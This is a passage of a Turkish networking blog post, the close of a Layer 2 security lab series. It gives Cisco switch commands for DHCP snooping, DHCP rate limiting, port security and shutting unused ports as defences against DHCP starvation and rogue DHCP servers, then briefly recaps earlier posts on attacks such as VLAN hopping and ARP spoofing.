SW1(config-if)# ip dhcp snooping limit rate 15Bu yapılandırmada Gi0/1 portundan saniyede en fazla 15 DHCP paketi kabul edilmesine izin verilir. Belirlenen sınırın aşılması durumunda switch ilgili port üzerinde koruma mekanizmasını devreye sokar.
Aynı koruma diğer kullanıcı portlarında da uygulanmalıdır:
SW1(config)# interface range GigabitEthernet0/1 - 2
SW1(config-if-range)# ip dhcp snooping limit rate 15SW1(config)# interface range GigabitEthernet0/1 - 2
SW1(config-if-range)# ip dhcp snooping limit rate 15Rate değeri doğrudan her ortam için 15 olmak zorunda değildir. Ağdaki istemci davranışına ve altyapıya göre uygun bir eşik belirlenmelidir.
3. Port Security Kullanılması
DHCP Starvation saldırılarında saldırgan çok sayıda sahte MAC adresi kullanabilir. Access portunda öğrenilebilecek MAC adreslerinin sınırlandırılması saldırının etkisini azaltmak için kullanılabilir.
Örneğin:
SW1(config)# interface GigabitEthernet0/1
SW1(config-if)# switchport mode access
SW1(config-if)# switchport port-security
SW1(config-if)# switchport port-security maximum 2
SW1(config-if)# switchport port-security violation restrict
SW1(config-if)# switchport port-security mac-address stickySW1(config)# interface GigabitEthernet0/1
SW1(config-if)# switchport mode access
SW1(config-if)# switchport port-security
SW1(config-if)# switchport port-security maximum 2
SW1(config-if)# switchport port-security violation restrict
SW1(config-if)# switchport port-security mac-address stickyBurada:
maximum 2→ Port üzerinden öğrenilebilecek MAC adresi sayısını sınırlar.violation restrict→ Limit aşıldığında ihlal oluşturan trafiği engeller.mac-address sticky→ Öğrenilen MAC adreslerinin Port Security kapsamında tutulmasını sağlar.
Telefon + bilgisayar gibi aynı fiziksel port üzerinden birden fazla cihazın kullanılabildiği kurumsal ortamlarda maksimum MAC sayısı altyapıya göre belirlenmelidir.
4. Kullanılmayan Portların Kapatılması
Fiziksel olarak kullanılmayan switch portlarının açık bırakılması saldırganın ağa doğrudan bağlanmasına imkân verebilir. Kullanılmayan portlar kapatılmalıdır.
Örneğin Gi0/10 ile Gi0/20 arasındaki portlar kullanılmıyorsa:
SW1(config)# interface range GigabitEthernet0/10 - 20
SW1(config-if-range)# shutdownSW1(config)# interface range GigabitEthernet0/10 - 20
SW1(config-if-range)# shutdownİstenirse kullanılmayan portlar ayrıca kullanıcı VLAN'larından ayrı bir VLAN'a taşınabilir:
SW1(config)# vlan 999
SW1(config-vlan)# name UNUSED
SW1(config)# interface range GigabitEthernet0/10 - 20
SW1(config-if-range)# switchport mode access
SW1(config-if-range)# switchport access vlan 999
SW1(config-if-range)# shutdownSW1(config)# vlan 999
SW1(config-vlan)# name UNUSED
SW1(config)# interface range GigabitEthernet0/10 - 20
SW1(config-if-range)# switchport mode access
SW1(config-if-range)# switchport access vlan 999
SW1(config-if-range)# shutdown5. DHCP Snooping Yapılandırmasının Kontrol Edilmesi
DHCP Snooping durumunu kontrol etmek için:
SW1# show ip dhcp snoopingSW1# show ip dhcp snoopingDHCP Snooping tarafından oluşturulan binding tablosunu görüntülemek için:
SW1# show ip dhcp snooping bindingSW1# show ip dhcp snooping bindingBu tablo üzerinden istemcilerin MAC adresi, aldığı IP adresi, VLAN bilgisi ve bağlı olduğu port kontrol edilebilir.
Örnek Bir Güvenli Switch Yapılandırması
Örneğin;
- Gi0/0: Gerçek DHCP sunucusuna/router'a giden uplink
- Gi0/1: Kali/istemci
- Gi0/2: PC1
- VLAN 10: Kullanıcı VLAN'ı
olduğu durumda temel yapılandırma şu şekilde yapılabilir:
! DHCP Snooping'i etkinleştir
ip dhcp snooping
ip dhcp snooping vlan 10
! Güvenilir uplink
interface GigabitEthernet0/0
ip dhcp snooping trust
! İstemci portu
interface GigabitEthernet0/1
switchport mode access
switchport access vlan 10
ip dhcp snooping limit rate 15
switchport port-security
switchport port-security maximum 2
switchport port-security violation restrict
switchport port-security mac-address sticky
! Diğer istemci portu
interface GigabitEthernet0/2
switchport mode access
switchport access vlan 10
ip dhcp snooping limit rate 15
switchport port-security
switchport port-security maximum 2
switchport port-security violation restrict
switchport port-security mac-address sticky! DHCP Snooping'i etkinleştir
ip dhcp snooping
ip dhcp snooping vlan 10
! Güvenilir uplink
interface GigabitEthernet0/0
ip dhcp snooping trust
! İstemci portu
interface GigabitEthernet0/1
switchport mode access
switchport access vlan 10
ip dhcp snooping limit rate 15
switchport port-security
switchport port-security maximum 2
switchport port-security violation restrict
switchport port-security mac-address sticky
! Diğer istemci portu
interface GigabitEthernet0/2
switchport mode access
switchport access vlan 10
ip dhcp snooping limit rate 15
switchport port-security
switchport port-security maximum 2
switchport port-security violation restrict
switchport port-security mac-address stickyBu yapılandırmada Gi0/0 trusted, kullanıcıların bağlandığı Gi0/1 ve Gi0/2 ise untrusted olarak bırakılmıştır.
Sonuç olarak Rogue DHCP saldırısına karşı DHCP Snooping, DHCP Starvation saldırısına karşı DHCP Rate Limiting ve Port Security kullanılması; ayrıca kullanılmayan portların kapatılması ağın DHCP tabanlı Layer 2 saldırılarına karşı korunmasını önemli ölçüde güçlendirir.
Bu yazımızla birlikte, yerel ağların (LAN) derinliklerine indiğimiz ve Katman 2 (Layer 2) zafiyetlerini uygulamalı olarak incelediğimiz üç bölümlük Layer2PoC serimizin sonuna geldik.
Serimiz boyunca adım adım ilerleyerek şu senaryoları laboratuvar ortamında analiz ettik:
- Uygulamalı Layer 2 Saldırıları: Layer2PoC #1 : VLAN Hopping: Ağdaki mantıksal sınırları ve izolasyonu switch yapılandırmalarını istismar ederek nasıl aşabileceğimizi gördük.
- Uygulamalı Layer 2 Saldırıları: Layer2PoC #2 : STP Manipülasyonu & Layer2PoC #3 :CAM Table Overflow: Spanning Tree ağacının kökünü değiştirerek trafiği yönlendirmeyi ve CAM tablosunu taşırarak switch'leri savunmasız birer hub'a dönüştürmeyi deneyimledik.
- Uygulamalı Layer 2 Saldırıları: Layer2PoC #4:ARP Spoofing& Layer2PoC #5:DHCP Starvation & Rogue DHCP: Doğrudan kurbanların iletişiminin arasına (MITM) sızdık, meşru DHCP altyapısını felç ettik ve ağa yeni katılan cihazların kimlik ile yönlendirme yapılandırmalarını tamamen ele geçirdik.
Tüm bu saldırı senaryoları ve PoC çalışmaları bize şunu çok net bir şekilde gösterdi: Katman 2, bir ağın temelidir. Temeli sağlam atılmamış, Port Security, Dynamic ARP Inspection (DAI) veya DHCP Snooping gibi temel koruma mekanizmalarından yoksun bir altyapıda, üst katmanlara kuracağınız hiçbir güvenlik duvarı sizi yerel ağın içinden gelebilecek tehditlere karşı tam anlamıyla koruyamaz.